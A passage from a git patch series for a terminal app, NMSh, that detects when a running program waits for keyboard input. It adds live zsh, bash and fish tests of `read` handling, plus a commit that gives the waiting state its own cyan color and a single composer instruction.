prompt', command: `read -r QA_REPLY; printf 'ANSWER=%s\\n' "$QA_REPLY"`, keys: 'hello', enter: true, answered: /ANSWER=hello/u}, + {name: 'hidden line', command: "read -rs -p 'Demo password: ' reply; echo; echo len=${#reply}", keys: SECRET, enter: true, answered: /len=8/u, secret: true}, + {name: 'single key without a prompt', command: 'read -n 1 x; echo; echo got:$x', keys: 'y', enter: false, answered: /got:y/u}, + ], + fish: [ + {name: 'line without a prompt', command: `read QA_REPLY; printf 'ANSWER=%s\\n' "$QA_REPLY"`, keys: 'hello', enter: true, answered: /ANSWER=hello/u}, + {name: 'hidden line', command: "read --silent --prompt-str 'Demo password: ' reply; echo len=(string length -- $reply)", keys: SECRET, enter: true, answered: /len=8/u, secret: true}, + ], +}; + +for (const shell of ['zsh', 'bash', 'fish'] as const) { + const available = supported && (shell === 'zsh' || (shell === 'bash' ? bash : fish)); + test(`live ${shell}: a waiting read gets the answer typed at once or after a pause; nothing is queued, run or drawn`, {skip: available ? false : `${shell} not installed`, timeout: 240_000}, async () => { + const {sandbox, frontend} = await start(shell); + try { + for (const reactionMs of [0, 300]) { + for (const read of READS[shell]) { + const what = `${read.name} after ${reactionMs} ms`; + const mark = frontend.mark; + await type(frontend, read.command, 5); + frontend.pty.write('\r'); + await pause(reactionMs); + await type(frontend, read.keys); + if (read.enter) frontend.pty.write('\r'); + await frontend.waitFor(read.answered, mark, 10_000); + // The command completes and the composer is back: an ordinary command runs at once, not queued. + const tag = `BACK-${reactionMs}-${read.name.length}`; + await frontend.run(`echo ${tag}`, new RegExp(tag, 'u'), {completion: false}); + const all = await records(sandbox); + assert.equal(all.some(record => record.command.trim() === read.keys), false, `${what}: the answer never ran as a command`); + assert.equal(await queued(sandbox), 0, `${what}: nothing was queued`); + if (read.secret) assert.equal(strip(frontend.output.slice(mark)).includes(SECRET), false, `${what}: the hidden answer is never drawn`); + // Exactly once, from the journal (Fish's reader has the terminal, so its output is not journaled). + const record = all.filter(entry => entry.command === read.command).at(-1); + if (shell !== 'fish' && read.keys === 'hello') assert.equal(record?.output.match(/ANSWER=hello/gu)?.length, 1, `${what}: answered exactly once`); + await pause(400); + } + } + } finally { await sandbox.dispose(); } + }); +} + +test('live zsh: Ctrl+Q queues while a read waits, Enter answers it; Enter during sleep or a loop still queues', {skip: supported ? false : 'unsupported platform', timeout: 180_000}, async () => { + const {sandbox, frontend} = await start('zsh'); + try { + // Ctrl+Q composes a queue entry; the reader never sees it. Enter then answers the reader. + let mark = frontend.mark; + frontend.pty.write('read -r reply; echo got=$reply\r'); + await pause(700); + await type(frontend, 'echo AFTER-READ'); + frontend.pty.write('\u0011'); + await until(async () => await queued(sandbox) === 1, 5000, 'the Ctrl+Q entry to be queued'); + await type(frontend, 'hi'); + frontend.pty.write('\r'); + await frontend.waitFor(/got=hi/u, mark, 10_000); + await until(async () => (await records(sandbox)).some(record => record.command === 'echo AFTER-READ'), 15_000, 'the queued command to run after the read'); + const all = await records(sandbox); + assert.equal(all.filter(record => record.command === 'echo AFTER-READ').length, 1, 'the queued command ran once, after'); + assert.equal(all.some(record => record.output.includes('got=echo')), false, 'the queued text never reached the reader'); + + // Nothing is waiting for input: Enter queues, whether typed at once or later, and each entry runs once, after. + for (const [command, entry] of [['sleep 3', 'echo QUEUED-SLEEP'], ['for i in 1 2 3; do sleep 1; done', 'echo QUEUED-LOOP']] as const) { + mark = frontend.mark; + frontend.pty.write(`${command}\r`); + await pause(entry.endsWith('LOOP') ? 1300 : 0); + await type(frontend, entry); + frontend.pty.write('\r'); + await until(async () => await queued(sandbox) === 1, 5000, `${entry} to be queued`); + await frontend.waitFor(new RegExp(`${entry.slice(5)}`, 'u'), mark, 15_000); + await until(async () => (await records(sandbox)).filter(record => record.command === entry).length === 1, 15_000, `${entry} to run once`); + } + } finally { await sandbox.dispose(); } +}); + +test('live zsh: a command typed right after a read returns, or right after Ctrl+C, reaches the shell once, in order', {skip: supported ? false : 'unsupported platform', timeout: 180_000}, async () => { + const {sandbox, frontend} = await start('zsh'); + const marker = join(sandbox.home, 'once'); + try { + let mark = frontend.mark; + frontend.pty.write('read -k 1 x; echo got:$x\r'); + await pause(300); + frontend.pty.write('y'); + // No pause: the next command follows the answer at typing speed. + await type(frontend, `echo X >> ${marker}`, 20); + frontend.pty.write('\r'); + await frontend.waitFor(/got:y/u, mark, 10_000); + await until(async () => (await records(sandbox)).some(record => record.command === `echo X >> ${marker}`), 15_000, 'the typed command to run'); + mark = frontend.mark; + frontend.pty.write('read -r reply\r'); + await pause(600); + frontend.pty.write('\u0003'); + await type(frontend, `echo Y >> ${marker}`, 20); + frontend.pty.write('\r'); + await until(async () => (await records(sandbox)).some(record => record.command === `echo Y >> ${marker}`), 15_000, 'the command after Ctrl+C to run'); + await pause(1000); + const lines = spawnSync('cat', [marker], {encoding: 'utf8'}).stdout; + assert.equal(lines, 'X\nY\n', 'each command ran exactly once, in order'); + assert.equal(await queued(sandbox), 0); + } finally { await sandbox.dispose(); } +}); From d21ebb4cacc09ef762e90a25512c7df81a5ba483 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Thu, 15 Oct 2026 21:35:18 +0530 Subject: [PATCH 02/16] Waiting for input: its own color, the question, and one instruction MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The waiting state shared the running shimmer's lavender family and put its instructions in the subtle tier, said twice in different words, so physical QA found it too easy to miss. - A semantic attention color (cyan) for the headline, the composer's mark and waiting rows in /sessions, apart from running, paused, failed and done. - The second activity row is the program's own question, or what it reads when it left none ("zsh is probably reading a line"). - The composer carries the one instruction at secondary contrast: "Type your answer · Enter sends it to zsh · Ctrl+Q queues a command", "Hidden input · nothing you type is shown · ...", "Press a key · it goes straight to ...". --- docs/design/input-awareness.md | 43 ++++++++++++++++++++++++---- src/app/TerminalApp.ts | 30 ++++++++++++-------- src/status/inputStatus.ts | 48 +++++++++++++++----------------- src/ui/palette.ts | 5 ++++ tests/commandQueueLive.test.ts | 2 +- tests/inputAwareness.test.ts | 21 +++++++++++--- tests/inputAwarenessLive.test.ts | 14 ++++++---- 7 files changed, 111 insertions(+), 52 deletions(-) diff --git a/docs/design/input-awareness.md b/docs/design/input-awareness.md index 19771bb6..1f7f529a 100644 --- a/docs/design/input-awareness.md +++ b/docs/design/input-awareness.md @@ -23,6 +23,7 @@ against the kernel's documented `/proc` formats, but it has not been run on a Li |---|---|---|---| | Kernel | A foreground thread is blocked in `read()` on this terminal (`/proc/PID/task/TID/syscall` plus the fd's link). If every thread is blocked elsewhere, that vetoes the other layers. | Linux | confirmed | | Terminal line settings | `stty -a` on the PTY device: echo off with line input on means a hidden line (password). Line input off with a prompt left open on the cursor's line means single keys (`e2fsck`, `read -k`, `read -n1`). | macOS, Linux | confirmed | +| The shell holds its terminal | While a command runs, the shell itself (the terminal's session leader, ps state `s`) is the foreground group: one of its builtins has the terminal. Line input off there means single keys (`read -k 1`, `read -n 1`, no prompt needed); ordinary line settings with the shell idle across two samples (the second 100 ms after the first) mean a line read (`read -r reply`). A loop's shell between commands is seen for one sample only and is not a request. | macOS, Linux | confirmed (keys), likely (line) | | Prompt evidence | A question-shaped line left open (ends in `?`, `:`, `]`, `)`, `>`), written once and never rewritten or cursor-drawn, output quiet for 0.7 s or more, and the foreground group idle across two samples (nothing running on a CPU, no CPU time gained). | macOS, Linux | likely | Raw mode alone is never a request: spinners and terminal proxies (`docker run -it`) set it without asking anything. A @@ -39,7 +40,10 @@ that end with a newline. process), so the open question plus an idle process is the best available evidence. **Not detected generically:** -- Line reads on macOS whose prompt ends with a newline, or that print no prompt at all. +- Line reads on macOS by programs other than the shell whose prompt ends with a newline, or that print no prompt at all + (`cat`, Python `input()` with no prompt). The shell's own `read` is detected with or without a prompt. +- On macOS, a `wait` builtin looks like a line read (the shell holds the terminal, idle); it is shown as "Probably". + Linux's kernel report tells them apart. - Programs reading through `poll`/`select` on macOS. - Programs that own the terminal. Fish 4's own `read` is one: it is fish's line editor, with bracketed paste and OSC 133 marks, so NMSh hands it the terminal and fish answers natively. It is not reported as waiting. @@ -55,6 +59,20 @@ In all of these cases NMSh shows "Running", as before. - **Questions printed as ordinary output:** later output ends the wait at once. - **Interactive full-screen or inline programs:** they own the terminal. +### Looking on demand + +Probes back off (every 10 s after a minute of quiet), and the first look comes 150–400 ms after a command starts. A key +typed in that time would be routed on no evidence. So the frontend holds the keys that decide where typing goes, the +first key of a draft and an Enter that would queue, and asks the session to look now (`input-look`, answered by +`input-looked` after any `input-state` the look produced). Keys typed right after Enter wait for the shell's exec first. +The hold ends when the look is done, when evidence arrives, or after 800 ms, and the keys are then routed on what is +known, in the order typed. A program that took the terminal meanwhile (Fish's reader) gets them as raw keys. Ctrl+C is +never held, and typing right after Ctrl+C or Ctrl+Z stays type-ahead for the prompt. Both ends negotiate the feature; +an older service is never asked and behaves as before. + +When an answer goes to the program (a key in key mode, Enter otherwise), the frontend counts the question as answered +until the session reports again, so the next command typed at speed is routed on fresh evidence. + ### Cost Probes start only after a running command's output goes quiet: @@ -68,7 +86,7 @@ probe that started before newer output is discarded. ## States and time - **Running:** no credible request. The line keeps its shimmer and adds `· waited 18s` once the command has waited. -- **Waiting for input** (◆, accent and weight) or **Probably waiting for input** (◇): the attention line plus the open +- **Waiting for input** (◆, attention color and weight) or **Probably waiting for input** (◇): the attention line plus the open question. - **Running again:** after an answer (a key in key mode, Enter otherwise, or Ctrl+C or Ctrl+D), or when the program writes again. @@ -92,12 +110,27 @@ so nothing new is reserved and the PTY never resizes: ``` ◆ Waiting for input · e2fsck · 18.0s · 1m 40s total - Padding at end of inode bitmap is not set. Fix? · each key goes straight to e2fsck -❯ Keys go straight to e2fsck + Padding at end of inode bitmap is not set. Fix? +❯ Press a key · it goes straight to e2fsck · Ctrl+Q queues a command +``` + +A read that left no question says what it reads, and the composer says how to answer, once: + ``` +◇ Probably waiting for input · zsh · 3.2s + zsh is probably reading a line +❯ Type your answer · Enter sends it to zsh · Ctrl+Q queues a command +``` + +Hidden input: `Hidden input · nothing you type is shown · Enter sends it to sudo · Ctrl+Q queues a command`. Nothing +typed is drawn, not even as dots. +- **Its own color:** the attention hue (cyan) on the headline and the composer's `❯`, apart from running (lavender + shimmer), paused (amber), failed (red) and done (green). `/sessions` and `/resume` rows for a waiting session use it + too. The instruction reads at secondary contrast, not the subtle tier. +- **Said once:** the activity rows carry the state and the question; the composer carries the instruction. - **The question stays in view** however far the transcript has scrolled or folded. -- **Narrow widths:** the line drops detail first (total time, then program name); the question outranks the hint. +- **Narrow widths:** the line drops detail first (total time, then program name); the question keeps its row. - **No animation:** no shimmer and no flashing. The timer only counts. - **NO_COLOR:** keeps the weight and the glyph. - **Safe glyphs:** `!` for confirmed and `?` for likely. diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 3d76de04..dbb1244e 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -190,7 +190,7 @@ import {PATH_DISPLAY_LEVELS} from '../prompt/pathDisplay.js'; import {completedActivity, liveActivityParts} from '../status/activity.js'; import {ACTIVITY_VERBS, selectActivityVerb, type ActivityVerbPair} from '../status/activityVerbs.js'; import {OpenLine, promptShaped} from '../session/openLine.js'; -import {completionWaitFact, directInputPlaceholder, inputActivityRows, inputGlyph, inputProgram, waitedDetail} from '../status/inputStatus.js'; +import {completionWaitFact, inputActivityRows, inputComposerHint, inputGlyph, inputProgram, waitedDetail} from '../status/inputStatus.js'; import {pauseReason, pausedGlyph, queueGlyph, queueRow} from '../status/queueStatus.js'; import {queuePanelKey, renderQueuePanel, type QueuePanelState} from '../queue/QueuePanel.js'; import type {QueueEntry, QueueState} from '../session/CommandQueue.js'; @@ -355,6 +355,8 @@ const AWAKE_POLL_MS = 5000; /** Free cells the input row keeps after typed text before Keep Awake yields it (Input row placement). */ const AWAKE_INPUT_SLACK = 8; const ACCENT = lazyForeground(UI_COLORS.accent); +/** A command waiting for the person: the waiting rows, the composer's prompt mark and /sessions rows share it. */ +const ATTENTION = lazyForeground(UI_COLORS.attention); /** NMSh ran this install with the user's confirmation; record it so an uninstall can be offered honestly. */ function recordInstall(toolId: string, install: {label: string; command: string; args: readonly string[]}): void { try { new InstallProvenance().record({id: toolId, package: install.args.at(-1) ?? toolId}, {...install, args: [...install.args]}); } catch { /* best effort */ } @@ -3386,7 +3388,7 @@ export class TerminalApp { rows.forEach((row, index) => { const selected = index === browser.selectedIndex; const marker = row.current ? (safe ? '*' : '●') : row.session.state === 'detached' ? (safe ? '-' : '◌') : (safe ? 'o' : '○'); - const color = row.state === 'failed' ? ERROR : row.state === 'attention' || row.state === 'input' || row.state === 'inputLikely' ? ACCENT : row.state === 'completed' ? SUCCESS : SECONDARY; + const color = row.state === 'failed' ? ERROR : row.state === 'input' || row.state === 'inputLikely' ? ATTENTION : row.state === 'attention' ? ACCENT : row.state === 'completed' ? SUCCESS : SECONDARY; const who = row.agent ? `${agentColor(row.agent.color)}${safe ? row.agent.safeGlyph : row.agent.glyph} ${row.agent.short}${RESET} ` : ''; out.push(truncateAnsi(`${selected ? `${ACCENT}›` : ' '} ${marker} ${PRIMARY}${(row.current ? 'this' : `#${row.ordinal}`).padEnd(5)}${RESET}${SECONDARY}${row.shell.padEnd(5)}${RESET} ` + `${color}${row.stateLabel.padEnd(18)}${RESET}${who}${focusForeground(selected)}${row.summary}${RESET}`, columns)); @@ -4616,7 +4618,7 @@ export class TerminalApp { live.forEach((session, index) => { const selected = index === browser.selectedIndex; const state = liveRowState(session, now); - const stateColor = state === 'failed' ? ERROR : state === 'attention' || state === 'input' || state === 'inputLikely' ? ACCENT : state === 'completed' ? SUCCESS : state === 'active' ? PRIMARY : SECONDARY; + const stateColor = state === 'failed' ? ERROR : state === 'input' || state === 'inputLikely' ? ATTENTION : state === 'attention' ? ACCENT : state === 'completed' ? SUCCESS : state === 'active' ? PRIMARY : SECONDARY; const agent = liveRowAgent(session); // Agent color only when identity is proven and color is allowed; generic otherwise. const who = agent ? `${agentColor(agent.color)}${safe ? agent.safeGlyph : agent.glyph} ${agent.short}${RESET} ` : ''; @@ -9346,13 +9348,15 @@ export class TerminalApp { const direct = this.directInputRequest(); const inputRows = input.rows.map(row => { - const prefix = row.prefix.startsWith(GLYPHS.prompt) ? `${ACCENT}${GLYPHS.prompt}${RESET}${row.prefix.slice(GLYPHS.prompt.length)}` : row.prefix; + // While a program waits for the person, the composer's mark takes the waiting color: typing answers it. + const mark = this.running && !this.passthrough && !this.queueCompose && this.answersByDefault() ? ATTENTION : ACCENT; + const prefix = row.prefix.startsWith(GLYPHS.prompt) ? `${mark}${GLYPHS.prompt}${RESET}${row.prefix.slice(GLYPHS.prompt.length)}` : row.prefix; if (direct) { - const queueHint = this.queueAvailable() ? ' · Ctrl+Q queues a command' : ''; - return row === input.rows[0] ? truncateAnsi(`${prefix}${SUBTLE}${directInputPlaceholder(direct, inputProgram(direct, this.running!.command))}${queueHint}${RESET}`, this.inputColumns(columns)) : ''; + return row === input.rows[0] ? truncateAnsi(`${prefix}${SECONDARY}${inputComposerHint(direct, inputProgram(direct, this.running!.command), this.queueAvailable())}${RESET}`, this.inputColumns(columns)) : ''; } const hint = row === input.rows[0] && !this.editor.text ? this.composerHint() : undefined; - if (hint) return truncateAnsi(`${prefix}${SUBTLE}${hint}${RESET}`, this.inputColumns(columns)); + // An instruction for a waiting program reads at secondary contrast; the ordinary running hint stays subtle. + if (hint) return truncateAnsi(`${prefix}${hint.waiting ? SECONDARY : SUBTLE}${hint.text}${RESET}`, this.inputColumns(columns)); let textStyled = ''; const glyphsInRow = graphemes(row.text); for (let i = 0; i < glyphsInRow.length; i++) { @@ -9705,13 +9709,17 @@ export class TerminalApp { } /** While a command runs, the empty composer says what Enter will do with what you type. */ - private composerHint(): string | undefined { - if (!this.running || this.passthrough || this.queueEdit || !this.queueAvailable() || this.justStopped()) return undefined; + private composerHint(): {text: string; waiting: boolean} | undefined { + if (!this.running || this.passthrough || this.queueEdit || this.justStopped()) return undefined; // The program's question keeps the activity rows, so the composer itself says how compose mode ends. - if (this.queueCompose) return 'Queue a command · Enter adds it · Esc returns to the program'; + if (this.queueCompose) return {text: 'Queue a command · Enter adds it · Esc returns to the program', waiting: false}; const request = this.inputState?.request; const program = request ? inputProgram(request, this.running.command) : commandWords(this.running.command)[0] ?? 'the program'; - return this.answersByDefault() ? `Enter answers ${program} · Ctrl+Q queues a command` : `Enter queues the next command · Ctrl+S sends to ${program}`; + // A waiting program gets the one instruction, with or without a queue; a question NMSh has not yet probed reads + // as a line. + if (this.answersByDefault()) return {text: inputComposerHint(request ?? {since: 0, confidence: 'likely', mode: 'line'}, program, this.queueAvailable()), waiting: true}; + if (!this.queueAvailable()) return undefined; + return {text: `Enter queues the next command · Ctrl+S sends to ${program}`, waiting: false}; } /** Ctrl+C or Ctrl+Z was sent moments ago: typing is type-ahead for the prompt the stop brings back. */ diff --git a/src/status/inputStatus.ts b/src/status/inputStatus.ts index 7feff4c2..f8461968 100644 --- a/src/status/inputStatus.ts +++ b/src/status/inputStatus.ts @@ -28,27 +28,34 @@ export function inputHeadline(request: Pick): string return request.confidence === 'confirmed' ? 'Waiting for input' : 'Probably waiting for input'; } -/** How typing reaches the program, in a few words. */ -export function inputHint(request: InputRequest, program: string): string { - if (request.confidence === 'likely') return `Enter sends a line to ${program}`; - switch (request.mode) { - case 'hidden': return `typing is hidden and goes straight to ${program} · Enter sends`; - case 'key': return `each key goes straight to ${program}`; - case 'line': return `Enter sends a line to ${program}`; - } +/** What the program is reading, for a wait that left no question on its line. */ +export function inputReading(request: InputRequest, program: string): string { + const what = request.mode === 'hidden' ? 'hidden input' : request.mode === 'key' ? 'a single key' : 'a line'; + return request.confidence === 'likely' ? `${program} is probably reading ${what}` : `${program} is reading ${what}`; +} + +/** + * The composer's one instruction while a program waits: what to do and where Enter goes, said once (the activity + * rows carry the state and the question). Hidden input never shows what is typed, not even as dots. + */ +export function inputComposerHint(request: InputRequest, program: string, queue: boolean): string { + const queueing = queue ? ' · Ctrl+Q queues a command' : ''; + if (request.confidence === 'confirmed' && request.mode === 'hidden') return `Hidden input · nothing you type is shown · Enter sends it to ${program}${queueing}`; + if (request.confidence === 'confirmed' && request.mode === 'key') return `Press a key · it goes straight to ${program}${queueing}`; + return `Type your answer · Enter sends it to ${program}${queueing}`; } /** * The two rows of the live activity region while a command waits: the attention line (headline, program, how long - * it has waited, and the total when it differs) and the prompt it left open with how input reaches it. Fits - * `columns` by dropping the least important parts first. + * it has waited, and the total when it differs) and the question it left open, or what it reads when it left none. + * Fits `columns` by dropping the least important parts first. */ export function inputActivityRows(state: InputState & {request: InputRequest}, command: string, startedAt: number, now: number, columns: number): [string, string] { const request = state.request; const program = inputProgram(request, command); - const accent = foreground(UI_COLORS.accent); + const attention = foreground(UI_COLORS.attention); + const primary = foreground(UI_COLORS.primary); const secondary = foreground(UI_COLORS.secondary); - const subtle = foreground(UI_COLORS.subtle); // The wait comes from the session's clock and the total from this frontend's: never show a wait longer than the run. const total = Math.max(0, now - startedAt); const waitedMs = Math.min(Math.max(0, now - request.since), total); @@ -57,16 +64,12 @@ export function inputActivityRows(state: InputState & {request: InputRequest}, c const head = `${inputGlyph(request)} ${inputHeadline(request)}`; const tails = [[program, waiting, ...(showTotal ? [`${formatDuration(total)} total`] : [])], [program, waiting], [waiting]]; const tail = tails.find(parts => displayWidth(`${head} · ${parts.join(' · ')}`) <= columns) ?? []; - const first = `${accent}${BOLD}${truncateText(head, columns)}${RESET}${tail.length ? `${secondary} · ${tail.join(' · ')}${RESET}` : ''}`; - const prompt = request.prompt ?? ''; - const hint = inputHint(request, program); + const first = `${attention}${BOLD}${truncateText(head, columns)}${RESET}${tail.length ? `${secondary} · ${tail.join(' · ')}${RESET}` : ''}`; const indent = ' '; const room = Math.max(1, columns - displayWidth(indent)); - let second: string; - // The question outranks the hint: the hint only shows when both fit; otherwise the question takes the row. - if (!prompt) second = `${indent}${subtle}${truncateText(hint, room)}${RESET}`; - else if (displayWidth(`${prompt} · ${hint}`) <= room) second = `${indent}${BOLD}${prompt}${RESET}${subtle} · ${hint}${RESET}`; - else second = `${indent}${BOLD}${truncateText(prompt, room)}${RESET}`; + // The program's own question, as it wrote it; without one, what it is reading. How to answer is the composer's. + const second = request.prompt ? `${indent}${primary}${BOLD}${truncateText(request.prompt, room)}${RESET}` + : `${indent}${secondary}${truncateText(inputReading(request, program), room)}${RESET}`; return [first, second]; } @@ -81,8 +84,3 @@ export function completionWaitFact(timing: InputTiming | undefined): string { if (!timing?.waits || timing.waitedMs < 1000) return ''; return ` · ${formatDuration(timing.waitedMs)} waiting for input${timing.waits > 1 ? ` (${timing.waits} prompts)` : ''}`; } - -/** The composer's placeholder while keys go straight to the program (hidden or key input). Never shows what is typed. */ -export function directInputPlaceholder(request: InputRequest, program: string): string { - return request.mode === 'hidden' ? `Hidden input for ${program} · nothing you type is shown` : `Keys go straight to ${program}`; -} diff --git a/src/ui/palette.ts b/src/ui/palette.ts index 7f9acca3..5aba02db 100644 --- a/src/ui/palette.ts +++ b/src/ui/palette.ts @@ -27,6 +27,11 @@ export const UI_COLORS = { success: {red: 116, green: 181, blue: 154}, failure: {red: 205, green: 115, blue: 123}, selection: {red: 88, green: 96, blue: 145}, + /** + * A command waiting for the person (input awareness): its own hue, apart from running (lavender shimmer), paused + * (amber), failed (red) and done (green), so a question never reads as more work in progress. + */ + attention: {red: 108, green: 196, blue: 214}, } as const satisfies Record; /** Color escapes follow the terminal capability: none, 256-color or truecolor (see presentation/capabilities). */ diff --git a/tests/commandQueueLive.test.ts b/tests/commandQueueLive.test.ts index 623354f5..da4a44a4 100644 --- a/tests/commandQueueLive.test.ts +++ b/tests/commandQueueLive.test.ts @@ -113,7 +113,7 @@ test('live: a program waiting for a line gets Enter; Ctrl+Q queues; Ctrl+S sends let mark = frontend.mark; frontend.pty.write(`read 'x?Name: '; echo got=$x\r`); await frontend.waitFor(/[◆◇] (?:Probably w|W)aiting for input[\s\S]*Name:/u, mark); - await frontend.waitFor(/Enter answers zsh · Ctrl\+Q queues a command/u, mark); + await frontend.waitFor(/Type your answer · Enter sends it to zsh · Ctrl\+Q queues a command/u, mark); frontend.pty.write('echo QUEUED-AFTER-READ\u0011'); await frontend.waitFor(/≡ 1 queued|≡ Queued \(1\)/u, mark); frontend.pty.write('alice\r'); diff --git a/tests/inputAwareness.test.ts b/tests/inputAwareness.test.ts index 7874da05..c10e66f9 100644 --- a/tests/inputAwareness.test.ts +++ b/tests/inputAwareness.test.ts @@ -9,7 +9,8 @@ import {describeNotice, noticeVisibleMs, SessionNoticeTracker} from '../src/sess import {liveStatusParts} from '../src/session/liveStatus.js'; import {LIVE_ROW_LABELS, liveRowState} from '../src/sessions/ResumeBrowser.js'; import {directKeyBytes} from '../src/terminal/keyBytes.js'; -import {completionWaitFact, directInputPlaceholder, inputActivityRows, waitedDetail} from '../src/status/inputStatus.js'; +import {completionWaitFact, inputActivityRows, inputComposerHint, waitedDetail} from '../src/status/inputStatus.js'; +import {foreground, UI_COLORS} from '../src/ui/palette.js'; import {displayWidth, stripAnsi} from '../src/util/text.js'; function withEnv(patch: Record, run: () => T): T { @@ -501,13 +502,22 @@ test('presentation: distinct from Running in words and glyphs; fits narrow width withEnv({NO_COLOR: undefined, NMSH_ICONS: undefined, TERM: 'xterm-256color'}, () => { const [first, second] = inputActivityRows(state, 'e2fsck -f disk.img', 0, 100_000, 100); assert.equal(stripAnsi(first), '◆ Waiting for input · e2fsck · 18.0s · 1m 40s total'); - assert.equal(stripAnsi(second), ' Padding at end of inode bitmap is not set. Fix? · each key goes straight to e2fsck'); + assert.equal(stripAnsi(second), ' Padding at end of inode bitmap is not set. Fix?', 'the question as written; how to answer is the composer\'s'); + // Its own hue: never the running shimmer's lavender or the accent. + assert.ok(first.startsWith(foreground(UI_COLORS.attention)), 'the attention color leads the row'); + for (const other of [UI_COLORS.accent, UI_COLORS.workingBase, UI_COLORS.workingPeak]) assert.notDeepEqual(UI_COLORS.attention, other); + // No question on the line (`read -r reply`): the second row says what the program reads, never empty. + const bare = inputActivityRows({...state, request: {since: 82_000, confidence: 'likely', mode: 'line', program: 'zsh'}}, 'read -r reply', 0, 100_000, 100).map(stripAnsi); + assert.equal(bare[0], '◇ Probably waiting for input · zsh · 18.0s · 1m 40s total'); + assert.equal(bare[1], ' zsh is probably reading a line'); + assert.equal(stripAnsi(inputActivityRows({...state, request: {since: 82_000, confidence: 'confirmed', mode: 'hidden', program: 'bash'}}, 'read -s', 0, 100_000, 100)[1]), + ' bash is reading hidden input'); for (const columns of [20, 32, 48]) { for (const row of inputActivityRows(state, 'e2fsck -f disk.img', 0, 100_000, columns)) assert.ok(displayWidth(stripAnsi(row)) <= columns, `${columns}: ${stripAnsi(row)}`); } const narrow = inputActivityRows(state, 'e2fsck', 0, 100_000, 32).map(stripAnsi); assert.match(narrow[0], /^◆ Waiting for input · 18\.0s$/u, 'the wait and its time survive; detail goes first'); - assert.match(narrow[1], /^ {2}Padding at end/u, 'the question outranks the hint'); + assert.match(narrow[1], /^ {2}Padding at end/u, 'the question keeps its row'); assert.equal(displayWidth(narrow[1]), 32, 'without the hint, the question takes the whole row'); }); withEnv({NO_COLOR: '1', NMSH_ICONS: 'safe'}, () => { @@ -517,7 +527,10 @@ test('presentation: distinct from Running in words and glyphs; fits narrow width assert.match(stripAnsi(first), /^\? Probably waiting for input · e2fsck · 18\.0s$/u); assert.equal(stripAnsi(inputActivityRows(state, 'e2fsck', 0, 100_000, 80)[0]).charAt(0), '!'); }); - assert.equal(directInputPlaceholder({...state.request, mode: 'hidden'}, 'sudo'), 'Hidden input for sudo · nothing you type is shown'); + // One instruction in the composer per kind of read; hidden input never shows what is typed. + assert.equal(inputComposerHint({...state.request, mode: 'hidden'}, 'sudo', true), 'Hidden input · nothing you type is shown · Enter sends it to sudo · Ctrl+Q queues a command'); + assert.equal(inputComposerHint(state.request, 'e2fsck', true), 'Press a key · it goes straight to e2fsck · Ctrl+Q queues a command'); + assert.equal(inputComposerHint({...state.request, confidence: 'likely', mode: 'line'}, 'bash', false), 'Type your answer · Enter sends it to bash'); assert.equal(completionWaitFact({waitedMs: 18_000, waits: 1}), ' · 18.0s waiting for input'); assert.equal(completionWaitFact({waitedMs: 65_000, waits: 3}), ' · 1m 5s waiting for input (3 prompts)'); assert.equal(completionWaitFact({waitedMs: 300, waits: 1}), '', 'an instant answer is not worth a fact'); diff --git a/tests/inputAwarenessLive.test.ts b/tests/inputAwarenessLive.test.ts index 9d565607..59b801f3 100644 --- a/tests/inputAwarenessLive.test.ts +++ b/tests/inputAwarenessLive.test.ts @@ -83,7 +83,7 @@ for (const shell of ['zsh', 'bash'] as const) { // A hidden line: keys go straight to the shell's read; nothing typed is drawn by NMSh. mark = frontend.mark; frontend.pty.write(`${shell === 'zsh' ? "read -s 'p?Password: '" : "read -s -p 'Password: ' p"}; echo; echo len=\${#p}\r`); - await frontend.waitFor(/◆ Waiting for input[\s\S]*Hidden input for (?:zsh|bash) · nothing you type is shown/u, mark); + await frontend.waitFor(/◆ Waiting for input[\s\S]*Hidden input · nothing you type is shown · Enter sends it to (?:zsh|bash)/u, mark); const typed = frontend.mark; frontend.pty.write('hunter2'); await pause(300); @@ -94,7 +94,7 @@ for (const shell of ['zsh', 'bash'] as const) { // A single key: answered without Enter, and no stray Enter reaches the shell afterwards. mark = frontend.mark; frontend.pty.write(`${shell === 'zsh' ? "read -k1 'k?Key: '" : "read -n1 -p 'Key: ' k"}; echo; echo key=$k\r`); - await frontend.waitFor(/◆ Waiting for input[\s\S]*Keys go straight to (?:zsh|bash)/u, mark); + await frontend.waitFor(/◆ Waiting for input[\s\S]*Press a key · it goes straight to (?:zsh|bash)/u, mark); frontend.pty.write('z'); await frontend.waitFor(/key=z[\s\S]*Completed/u, mark); await frontend.run('echo AFTER', /AFTER/u); @@ -176,11 +176,13 @@ test('live: an e2fsck-style yes/no session: each key answers one question, Enter const mark = frontend.mark; const started = Date.now(); frontend.pty.write(`python3 ${ASKYN} 'Padding at end of inode bitmap is not set. Fix? ' 'Inode 12 ref count is 2, should be 1. Fix? ' 'Free blocks count wrong. Fix? '\r`); - await frontend.waitFor(new RegExp(`◆ Waiting for input · ${PYTHON}[\\s\\S]*Padding at end of inode bitmap is not set\\. Fix\\? · each key goes straight to ${PYTHON}`, 'u'), mark); - assert.match(drawn(frontend, mark), new RegExp(`Keys go straight to ${PYTHON}`, 'u'), 'the composer says where typing goes'); + await frontend.waitFor(new RegExp(`◆ Waiting for input · ${PYTHON}[\\s\\S]*Padding at end of inode bitmap is not set\\. Fix\\?`, 'u'), mark); + assert.match(drawn(frontend, mark), new RegExp(`Press a key · it goes straight to ${PYTHON}`, 'u'), 'the composer says where typing goes'); await pause(1200); + const second = frontend.mark; frontend.pty.write('n'); - await frontend.waitFor(/Inode 12 ref count is 2, should be 1\. Fix\? · each key/u, mark); + // The answer ends the first wait at once; the next headline is the second question's own detection. + await frontend.waitFor(/Inode 12 ref count is 2, should be 1\. Fix\?[\s\S]*◆ Waiting for input/u, second); const third = frontend.mark; frontend.pty.write('\r'); // A fast typist answers the moment the question appears, before NMSh knows how it reads: the key still reaches it. @@ -251,7 +253,7 @@ test('live: a waiting session is visible from another window, survives detach, a await back.waitFor(/◆ Waiting for input[\s\S]*First question\. Fix\?/u, 0, 30_000); const answered = back.mark; back.pty.write('y'); - await back.waitFor(/Second question\. Fix\? · each key/u, answered); + await back.waitFor(/Second question\. Fix\?[\s\S]*◆ Waiting for input/u, answered); back.pty.write('n'); await 